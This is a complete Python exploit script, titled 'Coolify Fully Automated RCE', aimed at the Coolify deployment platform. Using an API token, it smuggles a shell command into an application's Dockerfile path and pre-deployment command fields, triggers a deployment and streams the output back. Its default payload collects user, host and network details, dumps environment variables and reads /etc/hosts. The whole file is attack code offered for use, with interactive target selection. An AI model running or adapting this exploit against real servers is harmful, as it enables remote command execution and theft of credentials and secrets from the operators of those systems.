import requests import argparse import json import time import random import sys def get_applications(target_url, api_token): headers = { 'Authorization': f'Bearer {api_token}', 'Accept': 'application/json' } url = f"{target_url}/api/v1/applications" try: response = requests.get(url, headers=headers) if response.status_code == 200: return response.json() else: print(f"\033[91m[-] Failed to list applications. Status: {response.status_code}\033[0m") return None except Exception as e: print(f"\033[91m[-] Error listing apps: {e}\033[0m") return None def exploit(target_url, api_token, app_uuid, custom_cmd=None): headers = { 'Authorization': f'Bearer {api_token}', 'Content-Type': 'application/json', 'Accept': 'application/json' } if not custom_cmd: custom_cmd = ( "echo '--- [SYSTEM INFO] ---'; whoami; id; hostname; " "echo '--- [NETWORK INFO] ---'; ip a; " "echo '--- [ENVIRONMENT] ---'; env; " "echo '--- [ETC HOSTS] ---'; cat /etc/hosts" ) print(f"\n\033[94m[*] target: {target_url}\033[0m") print(f"[*] App UUID: {app_uuid}") print(f"[*] Payload: {custom_cmd}") injection = f"; {custom_cmd};" update_url = f"{target_url}/api/v1/applications/{app_uuid}" update_params = { "dockerfile_location": f"Dockerfile{injection} {random.randint(100,999)}", "pre_deployment_command": custom_cmd } try: print("[*] Injecting payload into configuration...") resp = requests.patch(update_url, headers=headers, json=update_params) if resp.status_code != 200: print(f"\033[91m[-] Injection failed: {resp.text}\033[0m") return print("\033[92m[+] Config updated. Triggering deployment...\033[0m") deploy_url = f"{update_url}/start" resp = requests.post(deploy_url, headers=headers) if resp.status_code != 200: print(f"\033[91m[-] Deployment failed: {resp.text}\033[0m") return deploy_data = resp.json() print(f"[DEBUG] Start response: {json.dumps(deploy_data)}") deployment_uuid = deploy_data.get('deployment_uuid') if not deployment_uuid: time.sleep(2) hist = requests.get(f"{update_url}/deployments", headers=headers).json() print(f"[DEBUG] History response: {json.dumps(hist)}") if isinstance(hist, list) and len(hist) > 0: deployment_uuid = hist[0].get('deployment_uuid') elif isinstance(hist, dict) and 'deployments' in hist: deployments = hist.get('deployments', []) if len(deployments) > 0: deployment_uuid = deployments[0].get('deployment_uuid') if not deployment_uuid: print("\033[91m[-] Could not track deployment.\033[0m") return print(f"\033[92m[+] Deployment ID: {deployment_uuid}. Monitoring logs...\033[0m") monitor_logs(target_url, api_token, deployment_uuid) except Exception as e: import traceback traceback.print_exc() print(f"\033[91m[-] Critical Error: {e}\033[0m") def monitor_logs(target_url, api_token, deploy_uuid): headers = {'Authorization': f'Bearer {api_token}', 'Accept': 'application/json'} status_url = f"{target_url}/api/v1/deployments/{deploy_uuid}" last_len = 0 for _ in range(120): try: res = requests.get(status_url, headers=headers) if res.status_code == 200: data = res.json() status = data.get('status', '') logs_raw = data.get('logs') if logs_raw: logs = json.loads(logs_raw) if len(logs) > last_len: for entry in logs[last_len:]: out = entry.get('output', '').strip() if out: print(f"\033[92m[DEPLOY LOG] {out}\033[0m") last_len = len(logs) if status in ['finished', 'failed', 'cancelled']: print(f"\n\033[94m[*] Deployment {status}.\033[0m") break time.sleep(2) except Exception: break if __name__ == "__main__": parser = argparse.ArgumentParser(description='Coolify Fully Automated RCE') parser.add_argument('--url', required=True, help='Coolify URL') parser.add_argument('--token', required=True, help='API Token') parser.add_argument('--uuid', help='App UUID (optional, will list if missing)') parser.add_argument('--cmd', help='Optional custom command') args = parser.parse_args() target_uuid = args.uuid if not target_uuid: print("[*] UUID not provided. Searching for available applications...") apps = get_applications(args.url, args.token) if apps: print(f"[+] Found {len(apps)} applications:") for idx, app in enumerate(apps, 1): name = app.get('name', 'Unknown') uuid = app.get('uuid', 'No UUID') description = app.get('description', '') print(f" [{idx}] {name} - {uuid} {f'({description})' if description else ''}") while True: try: choice = input(f"\nSelect target application (1-{len(apps)}): ").strip() if not choice.isdigit(): print("[-] Please enter a valid number.") continue idx = int(choice) if 1 <= idx <= len(apps): selected_app = apps[idx - 1] target_uuid = selected_app.get('uuid') print(f"[*] Target selected: {selected_app.get('name')} ({target_uuid})") break else: print(f"[-] Invalid selection. Please choose between 1 and {len(apps)}.") except Exception as e: print(f"[-] Error parsing input: {e}") else: print("[-] No apps found or unauthorized.") sys.exit(1) exploit(args.url, args.token, target_uuid, args.cmd)